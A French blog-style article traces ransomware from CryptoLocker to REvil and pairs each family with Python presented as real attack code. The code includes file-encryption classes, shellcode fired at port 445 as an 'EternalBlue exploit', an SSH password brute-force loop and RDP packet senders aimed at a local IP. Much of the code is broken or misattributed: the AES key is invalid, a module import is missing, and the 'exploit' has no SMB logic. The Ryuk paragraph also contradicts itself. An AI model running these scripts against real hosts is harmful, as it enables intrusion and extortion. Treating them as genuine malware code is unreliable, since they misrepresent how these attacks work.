L'impressionnante évolution du code des rançongiciels
Suivre l'histoire de Ransomware, c'est comme regarder un film d'horreur où le méchant devient de plus en plus intelligent et sophistiqué. Il y a quelque chose de fascinant et pourtant intimidant dans l'évolution des rançongiciels. Dans cet article, je vais vous plonger dans la chronologie historique et vous montrer ce qui rend ces programmes malveillants si difficiles à arrêter.
Le premier ransomware connu, connu sous le nom de cheval de Troie AIDS, est apparu en 1989. Depuis lors, le ransomware a considérablement évolué, devenant l'un des types de malware les plus répandus et les plus destructeurs. Cet article suivra l'évolution des rançongiciels, depuis les débuts de CryptoLocker jusqu'aux infâmes WannaCry et les plus récentes attaques de rançongiciels Maze et REvil, tout en expliquant comment chaque type de rançongiciel fonctionne avec des exemples de code réels.
2013 : CryptoLocker
CryptoLocker a été le premier rançongiciel à utiliser la cryptographie à clé publique pour chiffrer les fichiers. Il a été distribué via des pièces jointes à des e-mails et a exploité les vulnérabilités de Java et d'Adobe Reader pour infecter les systèmes. Une fois qu'il a infecté un système, il a chiffré tous les fichiers du système et a exigé un paiement en Bitcoin pour fournir la clé de déchiffrement.
Exemple de code :
import os
import random
import string
from Crypto.Cipher import AES
class CryptoLocker:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')
La decrypt_file
méthode prend un nom de fichier d'entrée et un nom de fichier de sortie facultatif et une taille de bloc. Il lit le fichier d'entrée, extrait la taille du fichier d'origine et l'IV, et déchiffre les données chiffrées à l'aide de la même clé de chiffrement et de l'IV. Il écrit les données déchiffrées dans le fichier de sortie et les tronque à la taille du fichier d'origine. Un exemple d'utilisation de la classe est fourni à la fin du code, où un CryptoLocker
objet est créé avec une clé secrète, un fichier d'entrée est chiffré, puis déchiffré.
2016 : Locky
Locky a été distribué via des campagnes par e-mail et a utilisé une combinaison de cryptage RSA et AES pour crypter les fichiers. Il a exigé un paiement en Bitcoin pour fournir la clé de déchiffrement. On estime qu'il a infecté plus de 100 000 systèmes au cours des premières semaines suivant sa sortie.
Exemple de code :
import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
# Generate RSA key pair
key = RSA.generate(2048)
# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')
# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)
# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
f.write(ciphertext)
with open('encrypted_key.bin', 'wb') as f:
f.write(cipher_rsa)
2017: WannaCry
En 2017, le rançongiciel WannaCry s'est propagé rapidement à travers le monde, infectant des centaines de milliers d'ordinateurs dans plus de 150 pays. WannaCry a exploité une vulnérabilité du système d'exploitation Windows appelée EternalBlue, qui aurait été développée par la NSA
La nature généralisée de l'attaque et les systèmes critiques touchés ont souligné la nécessité pour les organisations de donner la priorité à la cybersécurité et de maintenir à jour les logiciels et les protocoles de sécurité pour prévenir de telles attaques.
Exemple de code :
import socket
# EternalBlue exploit code
exploit = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
b"\xc3"
)
# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Send exploit code
sock.send(exploit)
# Close the socket
sock.close()
Il est important de se rappeler que ce code, comme tout autre exemple de cet article, est purement à des fins éducatives et ne doit pas être utilisé pour des activités malveillantes.
2018 : SamSam
SamSam était un ransomware qui a été identifié pour la première fois en 2018. Contrairement à de nombreuses autres attaques de ransomware qui utilisent des e-mails de phishing pour accéder aux systèmes des victimes, SamSam a utilisé la force brute pour accéder à des serveurs non corrigés. Une fois à l'intérieur, le rançongiciel a crypté les fichiers et exigé le paiement en Bitcoin.
Exemple de code :
import paramiko
import time
target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in passwords:
try:
ssh.connect(target_server, port=port, username=username, password=password)
print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
# Do malicious activities here
ssh.close()
break
except paramiko.AuthenticationException:
print(f"Failed to log in to {target_server} with username {username} and password {password}.")
time.sleep(1)
2019 : Ryûk
On pense que Ryuk est originaire de Corée du Nord et a été utilisé pour cibler des cibles de grande valeur telles que les hôpitaux et les agences gouvernementales. Cela s'est avéré faux et a été utilisé à l'origine par de nombreuses organisations criminelles différentes. Ryuk est généralement livré par le biais d'e-mails de phishing ou en exploitant les vulnérabilités des protocoles de bureau à distance.
Exemple de code :
import socket
RDP_PORT = 3389
def exploit_rdp_vulnerability(target_ip):
# Establish a connection to the target RDP server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.connect((target_ip, RDP_PORT))
except:
print(f"Connection failed to {target_ip}:{RDP_PORT}")
return
# Send a malicious RDP message to trigger the vulnerability
# In a real attack, this would contain the ransomware payload
# In this safe example, I will just print the message for demonstration purposes
message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
s.sendall(message)
# Receive the server's response and print it for demonstration purposes
response = s.recv(1024)
print(response.decode())
# Close the connection
s.close()
# Example usage
exploit_rdp_vulnerability('192.168.1.100')
2019 : Labyrinthe
Maze crypte les fichiers de la victime et demande un paiement en échange de la clé de décryptage. Cependant, le rançongiciel Maze a également la réputation de voler des données sensibles aux victimes et de menacer de les publier si la rançon n'est pas payée, ce qui en fait un type de rançongiciel de « double extorsion ».
Le ransomware Maze est connu pour exploiter les vulnérabilités des protocoles de bureau à distance (RDP) pour accéder aux systèmes, ainsi que les e-mails de phishing typiques.
Exemple de code :
import socket
HOST = '192.168.1.100'
PORT = 3389
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print(data)
# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)
data = s.recv(1024)
print(data)
# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)
data = s.recv(1024)
print(data)
# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)
data = s.recv(1024)
print(data)
# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)
data = s.recv(1024)
print(data)
s.close()
2021: REvil
L'une des attaques de ransomware les plus notables de ces dernières années a été l'attaque de ransomware REvil en juillet 2021. L'attaque visait un fournisseur de logiciels appelé Kaseya, qui fournit des logiciels de gestion à distance à d'autres entreprises. Les attaquants ont pu accéder au logiciel de Kaseya et distribuer des logiciels malveillants à des centaines de leurs clients, ce qui a entraîné une attaque de ransomware généralisée.
REvil utilise un cryptage fort pour crypter les fichiers de la victime et exige le paiement d'une rançon en échange de la clé de décryptage. Comme la plupart des groupes de rançongiciels de cette époque, le bitcoin est utilisé comme moyen de paiement.
Exemple de code :
import os
import random
import string
from Crypto.Cipher import AES
class Ransomware:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')
Dans l'exemple d'utilisation, une clé est définie et une instance de la Ransomware
classe est créée à l'aide de cette clé. La encrypt_file
méthode est appelée sur un fichier nommé 'fichier_important.docx', qui crée un fichier crypté appelé 'fichier_important.docx.enc'. Enfin, la decrypt_file
méthode est appelée sur le fichier chiffré pour le déchiffrer dans sa forme d'origine.
J'espère que cet article donne une perspective indispensable sur l'évolution des ransomwares et sur la manière dont ils constituent notre plus grande menace en raison de la facilité de déploiement et de la monétisation instantanée des activités illégales. Cependant, il faut rappeler les avancées de ces dernières années pour exposer et sensibiliser le grand public sur ces questions.